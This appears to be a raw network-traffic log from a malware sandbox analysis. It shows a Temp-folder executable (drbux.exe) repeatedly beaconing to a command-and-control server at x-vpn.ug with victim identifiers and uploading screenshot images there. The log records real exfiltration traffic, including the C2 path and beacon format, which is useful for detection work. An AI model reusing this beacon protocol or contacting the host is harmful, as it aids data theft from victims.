Jul 19, 2021 18:35:28.621217012 CEST	2494	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:28.621279955 CEST	2496	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:28.621447086 CEST	2499	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:28.621597052 CEST	2500	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:28.621629953 CEST	2502	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:28.621824026 CEST	2505	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:28.622400999 CEST	2508	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.6	49894	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:14.579773903 CEST	14223	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:14.657174110 CEST	14237	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.6	49895	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:14.597656012 CEST	14223	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:14.597784996 CEST	14224	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:14.597968102 CEST	14234	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:14.598114014 CEST	14236	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:14.691874981 CEST	14240	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:14.692182064 CEST	14243	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:14.692356110 CEST	14245	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:14.692517042 CEST	14248	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:14.692863941 CEST	14251	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:14.693315029 CEST	14253	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:14.693468094 CEST	14256	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:14.694720030 CEST	14263	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.6	49896	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:14.840436935 CEST	14315	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:14.932326078 CEST	14323	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:14.969944000 CEST	14323	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:14.970007896 CEST	14323	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:14.970338106 CEST	14333	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:14.970382929 CEST	14336	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:15.050915956 CEST	14337	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:15.051083088 CEST	14345	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:15.051179886 CEST	14364	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:15.128936052 CEST	14372	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:36:15.128967047 CEST	14377	OUT	Data Raw: 4b f6 f1 e9 59 d4 53 55 64 2f 63 03 4f fb 40 0e d4 7d bc 1e d5 9b 4b 4f db 48 5e c6 06 a2 df a8 3c d3 c6 a2 be 95 93 40 a7 ed e4 4b a1 03 5b fb 45 3d 29 7f b4 53 d2 b2 68 a7 ed e4 2f 61 03 57 fb 41 29 c2 fe 3f 4a c9 a5 a6 ab c8 5e c2 06 b7 db e3 Data Ascii: KYSUd/cO@}KOH^<@K[E=)Sh/aWA)?J^B:$/w5K$/@t^<1xRH@}}j"~ti}A}5k%s\|S'\O;'d8:?ROA>SO/G}Qu
Jul 19, 2021 18:36:15.129858017 CEST	14407	OUT	Data Raw: 68 97 1d 72 e0 60 63 eb 55 e4 b6 b8 86 de 0b 89 6d e5 48 2e 37 18 64 64 21 64 da 70 76 9e 87 07 83 8a ee 13 4b d7 35 0f 16 e8 ba be 91 0d c4 9a 45 bc 16 c6 1b a8 c9 f2 2d a3 48 d7 cd 47 61 c2 60 89 37 29 c1 39 3c 1d dc 97 b7 36 7a a6 8b a1 e8 28 Data Ascii: hr`cUmH.7dd!dpvK5E-HGa`7)9<6z(V+;esA0=2jwU%k>K#Lm,c)}GyIxr%rn=^2)VW$?Hcr,WOlh<&F7dJO#n7
Jul 19, 2021 18:36:15.206687927 CEST	14420	OUT	Data Raw: 4b 39 a3 ba 8a 55 49 91 8e c8 a6 e4 02 0f 5d 98 fc cd 54 7d 1c 47 23 23 ea 36 8a ca 48 60 56 5c 83 ff 00 7c 57 99 5c ea 57 d7 b9 fb 55 ed cc f9 eb e6 ca cd fc cd 7a fe a2 f6 23 54 bb 0f 6f 70 5b ce 7c 91 3a 80 4e e3 db 65 72 f3 0d 62 dc 96 8a c5 Data Ascii: K9UI]T}G##6H`V\\|W\WUz#Top[\|:Nerb/,$,57w"ddeU*A_?\|LT^mlT%i-Rb0JN@'pzd#Top[\|:Nep?+NHaZt#EWa!KIK@- E%(QL@(AE%-(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.6	49897	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:15.142885923 CEST	14408	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:15.240601063 CEST	14421	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.6	49898	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:15.447572947 CEST	14422	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:15.530751944 CEST	14436	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.6	49899	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
